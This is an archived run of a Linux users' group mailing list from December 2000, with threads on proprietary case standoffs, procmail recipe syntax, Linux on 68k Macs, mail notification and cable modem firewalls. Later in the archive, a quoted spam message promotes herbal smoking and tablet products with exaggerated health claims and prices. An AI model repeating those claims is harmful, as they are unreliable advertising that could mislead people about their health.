MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From bgilbertson at stonel.com Thu Dec 7 13:35:21 2000 From: bgilbertson at stonel.com (Bob Gilbertson) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] ATX case hardware problem (need parts) References: <3A2FB71E.2050405@innominatus.com> <3A2FC7CB.C6BEAF98@fruitioninc.com> <00120711345504.00333@Billbob_Linux> <00120712004905.00333@Billbob_Linux> Message-ID: <3A2FE679.90EFFEDC@stonel.com> Not sure exactly what kind of standoffs you're looking for, but DigiKey carries threaded standoffs,various sizes, in both metal and plastic (nylon). http://www.digikey.com Bob Bill Layer wrote: > > Arrgh! I picked up one of the translucent blue ATX cases (looks a little like > a MacG3) a few months back. It was missing the internal hardware, but I > figured it was no big deal - hardware is hardware. Here is a pic of the case: > > http://www.transnet-inc.com/CaseAquaBlue.html > > Well, it turns out that this case uses PROPRIETARY hardware, most annoyingly, > the mounting standoffs for the motherboard. Unless I can find a handful of > these 2-cent parts, this $100.00 case is going to be a doorstop (and I > already own plenty of those). I wrote the people at the above site, and they > responded with "Sorry, but we cannot sell them (the parts) to you". No > further explanation. > > Does anyone know where I can get enough of these standoffs to mount the > board? maybe from another builder that had extras? > > Or plan B - could someone suggest a good case from Tran / GNS that would be > suitable for a hardware hacker like me to build a Duron 700 system in? Will I > *need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or > so...) > > P.S. Plan B sucks. > > -- > Bill Layer > Sales Technician > > > +----------------------------------+ > Viking Electronics, Inc. > 1531 Industrial St. > Hudson, WI. 54016 - U.S.A > 715.386.8861 ext. 210 > > +----------------------------------+ > > "Telecom Solutions for the 21st Century" > Powered by Slackware Linux 7.1.0 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From BTimm at Interelate.com Thu Dec 7 12:14:50 2000 From: BTimm at Interelate.com (Brad Timm) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] ATX case hardware problem (need parts) Message-ID: <394E263D7458ED4F91DA2A3066B8C18DB0A6B7@MSP-MAIL01.IR> Skip the Duct tape, and use hot glue sticks, You can cut them to any length you need and even use a small screw to secure them...... Best of luck.... Brad Timm -----Original Message----- From: Yaron [mailto:jethro@freakzilla.com] Sent: Thursday, December 07, 2000 12:11 PM To: tclug-list@lists.real-time.com Subject: Re: [TCLUG] ATX case hardware problem (need parts) Hi, On Thu, 7 Dec 2000, Bill Layer wrote: > Does anyone know where I can get enough of these standoffs to mount the > board? maybe from another builder that had extras? A) ACME or ABC Electronics. B) Duct Tape and toothpicks. -Yaron -- _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From JON.STIGNANI at spps.org Thu Dec 7 13:46:31 2000 From: JON.STIGNANI at spps.org (JON.STIGNANI@spps.org) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] ATX case hardware problem (need parts) Message-ID: <062569AE.006C8E71.00@spps.org> As long is you keep it nice and cool...... otherwise, it's "uh, oops!" (;^]) I still like nylon rod - - if you want grounding, use aluminum rod or a grounding wire. Good luck - Jon Brad Timm on 12/07/2000 12:14:50 PM Please respond to tclug-list@lists.real-time.com To: "'tclug-list@lists.real-time.com'" cc: (bcc: JON STIGNANI/spps) Subject: RE: [TCLUG] ATX case hardware problem (need parts) Skip the Duct tape, and use hot glue sticks, You can cut them to any length you need and even use a small screw to secure them...... Best of luck.... Brad Timm -----Original Message----- From: Yaron [mailto:jethro@freakzilla.com] Sent: Thursday, December 07, 2000 12:11 PM To: tclug-list@lists.real-time.com Subject: Re: [TCLUG] ATX case hardware problem (need parts) Hi, On Thu, 7 Dec 2000, Bill Layer wrote: > Does anyone know where I can get enough of these standoffs to mount the > board? maybe from another builder that had extras? A) ACME or ABC Electronics. B) Duct Tape and toothpicks. -Yaron -- _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From b.layer at vikingelectronics.com Thu Dec 7 13:54:08 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <3A2FE679.90EFFEDC@stonel.com> References: <3A2FB71E.2050405@innominatus.com> <00120712004905.00333@Billbob_Linux> <3A2FE679.90EFFEDC@stonel.com> Message-ID: <00120713540809.00333@Billbob_Linux> Thanks for the advices.. On Thursday 07 December 2000 13:35, you wrote: > Not sure exactly what kind of standoffs you're looking for, but DigiKey > carries threaded standoffs,various sizes, in both metal and plastic > (nylon). I've built many computers, and I've *never* seen any hardware like this.. these are not just basic off-the-shelf parts. And they are not threaded parts, either... couldn't be that easy, had to be some proprietary nightmare. I did learn however, that the case is made / sold by Suntek, Inc. The model is SunTek Vision #7618, in Aqua. I have a number for SunTek (212.961.9607) but all I am getting is a voicemail. -- Bill Layer From dieman at ringworld.org Thu Dec 7 14:14:20 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] Dell 2450 warning light and linux In-Reply-To: ; from austad@marketwatch.com on Thu, Dec 07, 2000 at 12:26:55PM -0600 References: Message-ID: <20001207141420.S15922@ringworld.org> * Austad, Jay [001207 12:31]: > Odd, it has 2 power supplies and only one was plugged in, I plugged in the > second one and now it turned off. I have 3 other 2450's with only one power > supply plugged in and they are not blinking. Oh, yeah, that works too :) Ive accidentally unseated a fan bank in ours before. that pisses em off real well. mmm. hot plug anyone? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001207/8a442ba7/attachment.pgp From mjn at umn.edu Thu Dec 7 15:03:15 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] Procmail.... Message-ID: I have a maillinglist recipe in procmail, the tests worked ok, but it seems that every incoming mail is going positive and being put into the folder of the first rule; regardless of match... here is the rc.maillinglists: # Twin Cities Linux Users Group :0: * ^TO:.*tclug-list@lists.real-time.com tclug :0: * ^Subject:.*[TCLUG] tclug :0: * ^From:.*root@lists IN.test # Majordomo users :0: * ^TO:.*majordomo-users majordomo # Word of the Day :0: * ^From:.*doctor@dictionary.com WOTD # MacWizards :0: * ^TO:.*mac-wizards@cc.gatech.edu macwiz # Netsaint :0: * ^Reply-To:.*netsaint-users@lists.sourceforge.net netsaint Here some of the log: >From root@lists.coafes.umn.edu Thu Dec 7 14:50:18 2000 Subject: [TCLUG] Folder: tclug 769 >From owner-radio-k@tc.umn.edu Thu Dec 7 14:51:28 2000 Subject: WHAT? (fwd) Folder: tclug 2678 >From root@lists.coafes.umn.edu Thu Dec 7 14:56:58 2000 Subject: [TCLUG] Folder: tclug 754 >From root@lists.coafes.umn.edu Thu Dec 7 14:58:37 2000 Subject: this is a test. Folder: tclug Any ideas? ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From dopp at acm.cs.umn.edu Thu Dec 7 15:25:11 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] Procmail.... In-Reply-To: ; from mjn@umn.edu on Thu, Dec 07, 2000 at 03:03:15PM -0600 References: Message-ID: <20001207152511.E17621@sorry.cs.umn.edu> I see some errors in your file. I'll mark them below: On Thu, Dec 07, 2000 at 03:03:15PM -0600, mjn wrote: > I have a maillinglist recipe in procmail, the tests worked ok, but it > seems that every incoming mail is going positive and being put into the > folder of the first rule; regardless of match... > > here is the rc.maillinglists: > > # Twin Cities Linux Users Group > :0: <-- each of these shoudl only be :0, I think, not :0: > * ^TO:.*tclug-list@lists.real-time.com ^ That : should not be there. ^TO matches ^To:, but I don't think ^TO: matches anything. > tclug > > :0: > * ^Subject:.*[TCLUG] > tclug > > > :0: > * ^From:.*root@lists > IN.test > > # Majordomo users > :0: > * ^TO:.*majordomo-users > majordomo > > > # Word of the Day > :0: > * ^From:.*doctor@dictionary.com > WOTD > > > # MacWizards > :0: > * ^TO:.*mac-wizards@cc.gatech.edu > macwiz > > > # Netsaint > :0: > * ^Reply-To:.*netsaint-users@lists.sourceforge.net > netsaint > > > Here some of the log: > > >From root@lists.coafes.umn.edu Thu Dec 7 14:50:18 2000 > Subject: [TCLUG] > Folder: tclug > 769 > >From owner-radio-k@tc.umn.edu Thu Dec 7 14:51:28 2000 > Subject: WHAT? (fwd) > Folder: tclug > 2678 > >From root@lists.coafes.umn.edu Thu Dec 7 14:56:58 2000 > Subject: [TCLUG] > Folder: tclug > 754 > >From root@lists.coafes.umn.edu Thu Dec 7 14:58:37 2000 > Subject: this is a test. > Folder: tclug > > > Any ideas? > > ____________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > http://nifty.dsl.visi.com/ > ____________________________ > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "YOU _GAVE_AWAY_ $47 MILLION DOLLARS?? You fat, bloated eediot!" - Ren Hoek in "Stimpy's Big Day" -------------------------------------------------------------------------------- From mjn at umn.edu Thu Dec 7 15:30:31 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] Procmail.... In-Reply-To: <20001207152511.E17621@sorry.cs.umn.edu> Message-ID: > I see some errors in your file. I'll mark them below: > > > :0: <-- each of these shoudl only be :0, I think, not :0: From veldy at veldy.net Thu Dec 7 15:30:59 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:17 2005 Subject: [TCLUG] Procmail.... References: Message-ID: <01ad01c06094$fe18ac30$9c29680a@tgt.com> Why are you using :0: ? All my recipes (well, most) use :0 No trailing colon. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "mjn" To: "Twirling Pickles of Death" Sent: Thursday, December 07, 2000 3:03 PM Subject: [TCLUG] Procmail.... > I have a maillinglist recipe in procmail, the tests worked ok, but it > seems that every incoming mail is going positive and being put into the > folder of the first rule; regardless of match... > > here is the rc.maillinglists: > > # Twin Cities Linux Users Group > :0: > * ^TO:.*tclug-list@lists.real-time.com > tclug > > :0: > * ^Subject:.*[TCLUG] > tclug > > > :0: > * ^From:.*root@lists > IN.test > > # Majordomo users > :0: > * ^TO:.*majordomo-users > majordomo > > > # Word of the Day > :0: > * ^From:.*doctor@dictionary.com > WOTD > > > # MacWizards > :0: > * ^TO:.*mac-wizards@cc.gatech.edu > macwiz > > > # Netsaint > :0: > * ^Reply-To:.*netsaint-users@lists.sourceforge.net > netsaint > > > Here some of the log: > > >From root@lists.coafes.umn.edu Thu Dec 7 14:50:18 2000 > Subject: [TCLUG] > Folder: tclug > 769 > >From owner-radio-k@tc.umn.edu Thu Dec 7 14:51:28 2000 > Subject: WHAT? (fwd) > Folder: tclug > 2678 > >From root@lists.coafes.umn.edu Thu Dec 7 14:56:58 2000 > Subject: [TCLUG] > Folder: tclug > 754 > >From root@lists.coafes.umn.edu Thu Dec 7 14:58:37 2000 > Subject: this is a test. > Folder: tclug > > > Any ideas? > > ____________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > http://nifty.dsl.visi.com/ > ____________________________ > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Thu Dec 7 15:59:27 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Procmail.... References: <01ad01c06094$fe18ac30$9c29680a@tgt.com> Message-ID: <3A30083F.C2549182@ltiflex.com> :0: works fine for me. Here be my config, it's fun, really. I just don't know what I would do without procmail and IMAP (over SSL!). # Carbon Copy Catch All Rule # Recipie that archives all incoming mail :0c: # Carbon Copy to bzcat and append to mail Archive | bzcat -z >> $HOME/.MailArchive.bz2 # Yup, this really works. After uncompressing the archive # I subscribe to that folder with my IMAP client of choice. :0: * ^TO.amanda-users@amanda.org amanda :0: * ^TO.amanda-users@cs.umd.edu amanda :0: * ^Subject.*AMANDA* backup :0: * ^TOflexfax@sgi.com Hyla-Fax :0: * ^TOhylafax-users@hylafax.org Hyla-Fax :0: * ^Subject.*TCLUG* tclug :0: * ^TOsquid-users@ircache.net squid-users :0: * ^TOopenldap-general OpenLDAP :0: * ^TOopenldap-software OpenLDAP :0: * ^TOopenldap-announce OpenLDAP :0: * ^TOdebian-news@lists.debian.org debian-news :0: * ^TOdebian-security-announce@lists.debian.org debian-security-announce :0: * ^TOdebian-consultants@lists.debian.org debian-consultants :0: * ^TOdebian-curiosa@lists.debian.org debian-curiosa # Linux Terminal Server Project :0: * ^TOdiscuss@ltsp.org ltsp :0: * ^TOdeveloper@ltsp.org ltsp :0: * ^TOltsp-products@ltsp.org ltsp :0: * ^TOannounce@ltsp.org ltsp :0: * ^TO.root@* Cron :0: * ^FROM.root@* Cron :0: * ^TO.samba@us5.samba.org samba :0: * ^TO.samba@samba.org samba :0: * ^TO.samba-ntdom@samba.org samba-ntdom :0: * ^TO.samba-ntdom@*samba.org samba-ntdom # Security Focus Lists :0: * ^TO.focus-ms@securityfocus.com Focus-MS :0: * ^TO.sf-news@securityfocus.com SF-News :0: * ^TO.bugtraq@securityfocus.com BugTraq :0: * ^TO.MS-SecNews@SECURITYFOCUS.COM MS-SecNews :0: * ^TO.Linux-SecNews@SECURITYFOCUS.COM Linux-SecNews :0: * ^TO.FOCUS-LINUX@SECURITYFOCUS.COM Focus-Linux :0: * ^Subject.*free |/dev/null :0: * ^Subject.*sex |/dev/null :0: * ^Subject.*porn |/dev/null -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From lerwick at tcfreenet.org Thu Dec 7 16:09:18 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] ATX case hardware problem (need parts) References: <3A2FB71E.2050405@innominatus.com> <00120712004905.00333@Billbob_Linux> <3A2FE679.90EFFEDC@stonel.com> <00120713540809.00333@Billbob_Linux> Message-ID: <3A300A8E.1FA1B76C@tcfreenet.org> > I've built many computers, and I've *never* seen any hardware like this.. > these are not just basic off-the-shelf parts. And they are not threaded > parts, either... couldn't be that easy, had to be some proprietary nightmare. Well, the trick is, is to find a place that OEM builds a lot of machines with this case. They'll have more extra standoffs and extra parts than they could ever use. ;) From lerwick at tcfreenet.org Thu Dec 7 16:23:24 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Mac Linux compatibility References: <3A2FB71E.2050405@innominatus.com> <20001207114522.A18277@yahoo.com> <00120710422700.00333@Billbob_Linux> Message-ID: <3A300DDC.199DF526@tcfreenet.org> Bill Layer wrote: > > Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? > I'm getting ready to start playing with Mac68K Linux, and I was looking for > some *local* advice & feedback on using Linux on the Mac. > > So far, it looks like Debian is the only game in town..? Linux on Mac 68k is pretty hit or miss last I heard. Some models work, some are missing vital drivers, and then there's the FPU thing. There's a working 030 FPU emulator, but apparently none for those damn LC040's. Give it a try, if it doesn't work on your particular Mac give NetBSD a try. Its been around far longer and has been stable for years. At least thats what I'm told... PPC is much better supported. Take a look: www.linuxppc.org From b.layer at vikingelectronics.com Thu Dec 7 16:16:27 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <3A300A8E.1FA1B76C@tcfreenet.org> References: <3A2FB71E.2050405@innominatus.com> <00120713540809.00333@Billbob_Linux> <3A300A8E.1FA1B76C@tcfreenet.org> Message-ID: <0012071616270E.00333@Billbob_Linux> I'm trying.. On Thursday 07 December 2000 16:09, you wrote: > > I've built many computers, and I've *never* seen any hardware like this.. > > these are not just basic off-the-shelf parts. And they are not threaded > > parts, either... couldn't be that easy, had to be some proprietary > > nightmare. > > Well, the trick is, is to find a place that OEM builds a lot of machines > with this case. They'll have more extra standoffs and extra parts than > they could ever use. ;) > ________________________ Tell you what - if you can find a place that builds on this case, I'll go and bug them for spares! I called MicroCenter's service dept (they do sell this case) and the person I talked to seemed to have little concept of what I needed. Why can't I ever find a bigger geek than myself, when I need one? Uh oh, here comes a RANT! GNS has some new counter help, that I don't think will prove to be very 'helpful' if you know what I mean; unimpressd with his 'can't-do' attitude last time I was in. Ditto for MPC electronics in Eagan. They had this smart young Vietnamese kid there for a while, but the new guy is a clone of the Comic Book Store Guy on the Simpsons, but he listens to contemporary Christian music all day. Bill Layer From b.layer at vikingelectronics.com Thu Dec 7 16:25:09 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <3A300DDC.199DF526@tcfreenet.org> References: <3A2FB71E.2050405@innominatus.com> <00120710422700.00333@Billbob_Linux> <3A300DDC.199DF526@tcfreenet.org> Message-ID: <0012071625090F.00333@Billbob_Linux> y0, On Thursday 07 December 2000 16:23, you wrote: > Linux on Mac 68k is pretty hit or miss last I heard. Some models work, > some are missing vital drivers, and then there's the FPU thing. There's > a working 030 FPU emulator, but apparently none for those damn LC040's. I wasn't aware that there was any working FPU emulation for the 68030 based machines. The issues with the 68LC040 are unique, though. The first 68LC040s were generally fine (but FPU-less), but there were apparently some bugs to fix. A new mask was created, which fixed some bugs, but it *broke* the CPU such that the vector which would receive requests for FPU action no longer worked at all. This means that if you have one of the 'broken' 68LC040s, you can't even run FPU emulation - under MacOS or Linux / BSD. If SoftFPU won't run, the chip is in the broken category. Motorola didn't exactly acknowledge this 'fix' for some time. Now it's just ancient history. >Linux PPC is much better supported. Take a look: www.linuxppc.org But I don't _have_ a PPC Mac anymore! I decided that I wanted the $250.00 more, so it's now with my room mate's mom. -- Bill Layer Sales Technician From chewie at wookimus.net Thu Dec 7 16:24:43 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Procmail.... In-Reply-To: <3A30083F.C2549182@ltiflex.com>; from andyzb@ltiflex.com on Thu, Dec 07, 2000 at 03:59:27PM -0600 References: <01ad01c06094$fe18ac30$9c29680a@tgt.com> <3A30083F.C2549182@ltiflex.com> Message-ID: <20001207162443.J10474@wookimus.net> On Thu, Dec 07, 2000 at 03:59:27PM -0600, Andy Zbikowski wrote: > # Carbon Copy Catch All Rule > # Recipie that archives all incoming mail > :0c: > # Carbon Copy to bzcat and append to mail Archive > | bzcat -z >> $HOME/.MailArchive.bz2 > # Yup, this really works. After uncompressing the archive > # I subscribe to that folder with my IMAP client of choice. He he. Do you have this as a default rule for people at LTi? ;-) "Um. Andy. Can you do me a favor? Can you restore email number '123' for me? I deleted it by accident..." whimpers the LUser. -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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You know you can use logical or in procmail, right? :0: * ^TO.amanda-users@amanda.org|\ ^TO.amanda-users@cs.umd.edu amanda -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From andy at theasis.com Thu Dec 7 16:42:42 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: <001207121100.202b09d8@dcmir.med.umn.edu> Message-ID: > The spam stopped immediately, never to re-appear. One tiny little victory. http://www.mids.org/nospam/ Andy From mjn at umn.edu Thu Dec 7 16:47:17 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Stupid question? Message-ID: Ok so procmail works but my TinyFugue (sic) notification (I used to get a message which said "You have new mail in /var/spool/mail/mjn") no longers works. i have tried using biff and while the bell is nice, the headers have been displaying in garbled text...is there a way to make biff display nicer or to just make procmail bell(a terminal bell?) me on certain incoming mail? ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From mpaulsen at charter.net Thu Dec 7 17:07:29 2000 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Re: [TCLUG:23892] ORBS vote In-Reply-To: <20001207120544.C6214@real-time.com> Message-ID: <5.0.0.25.2.20001207131238.00a27040@mail.charter.net> At 12:05 PM 12/7/00 -0600, Bob Tanner wrote: >Please take the time to visit the LUG's home page and answer the poll. I >really >would like to get a feel from the community on installing ORBS on the TCLUG >mailing list server. I hate spam. I'm also not a big fan of some of ORBS practices. I'd like to suggest a third option which may be a acceptable compromise -- tag, rather than reject, email which tests ORBS positive. The spam is still received and will still waste the bandwidth, but it'll be easy to filter. While I'm here, perhaps someone can help. I subscribed to tclug-list@mn-linux.org on 11/28 via the website. I have only received only12 articles (23881-23883, one reply to 23883, and 23885 - 23892, ). I subscribed on two other accounts (on two different providers) as a test and the behavior is the same. I'm getting some traffic, but not all traffic. I'm getting some of the mail from some posters, but not all the mail from any posters. I'm doing my best to RTFM, but I'm stumped. I'm starting to think I'm being persecuted for subscribing from a windows machine. From chewie at wookimus.net Thu Dec 7 17:31:51 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Stupid question? In-Reply-To: ; from mjn@umn.edu on Thu, Dec 07, 2000 at 04:47:17PM -0600 References: Message-ID: <20001207173151.K10474@wookimus.net> On Thu, Dec 07, 2000 at 04:47:17PM -0600, mjn wrote: > Ok so procmail works but my TinyFugue (sic) notification (I used to > get a message which said "You have new mail in /var/spool/mail/mjn") > no longers works. i have tried using biff and while the bell is > nice, the headers have been displaying in garbled text...is there a > way to make biff display nicer or to just make procmail bell(a > terminal bell?) me on certain incoming mail? Never really tried this, but I believe if you reference your procmailrc(5) and search for biff, you will find information on the COMSTAT environment variable. If you set this to 'yes' instead of the default 'no', it will try to "biff" you. -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001207/72b9a9ac/attachment.pgp From chewie at wookimus.net Thu Dec 7 17:33:44 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:18 2005 Subject: [TCLUG] Procmail.... In-Reply-To: <20001207162727.B26522@sherohman.org>; from esper@sherohman.org on Thu, Dec 07, 2000 at 04:27:27PM -0600 References: <01ad01c06094$fe18ac30$9c29680a@tgt.com> <3A30083F.C2549182@ltiflex.com> <20001207162727.B26522@sherohman.org> Message-ID: <20001207173344.L10474@wookimus.net> On Thu, Dec 07, 2000 at 04:27:27PM -0600, Dave Sherohman wrote: > On Thu, Dec 07, 2000 at 03:59:27PM -0600, Andy Zbikowski wrote: > > Here be my config, it's fun, really. I just don't know what I would do > > without procmail and IMAP (over SSL!). > > > :0: > > * ^TO.amanda-users@amanda.org > > amanda > > > > :0: > > * ^TO.amanda-users@cs.umd.edu > > amanda > > Uh... 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A "Seventh Heaven" non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/ herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! Contents: Each Gentle Ferocity Tablet contains 500 mg. of the following proprietary formulated, high-ratio concentrated botanical factors... Cortex Eucommiae, Radex Polygoni Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix Polygalae, Cistanches, Radix Pseudoslellariae and Cortex Aranthopanacis. PRICING INFORMATION: 1. SEVENTH HEAVEN KATHMANDU TEMPLE KIFF (tm) One .75 oz. jigget/bar $65.00 One 2 oz. jigget/bar $115.00 (Free Capillaris Herba with 2 oz. bar Refer to Capillaris paragraph at end of text) 2. SEVENTH HEAVEN PROSAKA (tm) One 100 tablet tin $40.00 Three 100 tablet tins $105.00 Six 100 tablet tins $185.00 3. SEVENTH HEAVEN GENTLE FEROCITY (tm) One 300 tablet jar $130.00 4. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER Includes one, 2 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka for...$125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 5. "PURE ENERGY" INTRO COMBINATION OFFER Includes one, 2 oz. jigget/bar of Kathmandu Temple Kiff & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity for...$170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) 6. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER Includes one, 2 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity for $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of this text.) =============================== ORDERING INFORMATION: For your convenience, you can call us direct with your orders or questions. Call 1 (719) 686-9919 =============================== SPECIAL DISCOUNT & GIFT Call now and receive a FREE botanical gift! With every order for a 2 oz. jigget / bar of Kathmandu Temple Kiff or an order for our "Heavenly" Intro Combination Offer or our "Pure Energy" Intro Combination Offer, we will include as our free gift to you ... a 2 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $40.00 retail value). =============================== Remove Instructions We comply with proposed federal legislation regarding unsolicited commercial email by providing you with a method for you to opt-out of future mailings from our company. To remove your address, click on the following link and follow the simple instructions: MailTo:peterpan@egyptsun.com?subject=remove-me Only from Shambhala Botanicals... Ho! Ho! Hookah! Happy Holidays! Don't forget to ask about our Holiday SPECIAL! Offering for your "Sensitive" Delight: "Seventh Heaven" Kathmandu Temple Kiff (tm); From wilson at visi.com Thu Dec 7 21:00:37 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:19 2005 Subject: [TCLUG] cable modem connections Message-ID: Hey everyone, I'm building a Coyote linux firewall for my father-in-law who has a cable modem connection from HBCI down in Winona. I don't have any cable modem experience. Is that just a bridging connection or do I need to enable PPPoE on the firewall? -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From veldy at veldy.net Thu Dec 7 21:27:35 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:20 2005 Subject: [TCLUG] cable modem connections References: Message-ID: <001101c060c6$ce9cfd80$0100a8c0@cascade> Just Ethernet - assuming the cable modem is external. PPPoE will not apply to your setup, even if that is the way the cable network worked - the modem will handle it. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Timothy Wilson" To: "TCLUG" Sent: Thursday, December 07, 2000 9:00 PM Subject: [TCLUG] cable modem connections > Hey everyone, > > I'm building a Coyote linux firewall for my father-in-law who has a cable > modem connection from HBCI down in Winona. I don't have any cable modem > experience. Is that just a bridging connection or do I need to enable PPPoE > on the firewall? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Thu Dec 7 21:26:40 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:20 2005 Subject: [TCLUG] cable modem connections Message-ID: You'll probably have to call HBCI to find out, or email them. I couldn't find any info of that sort 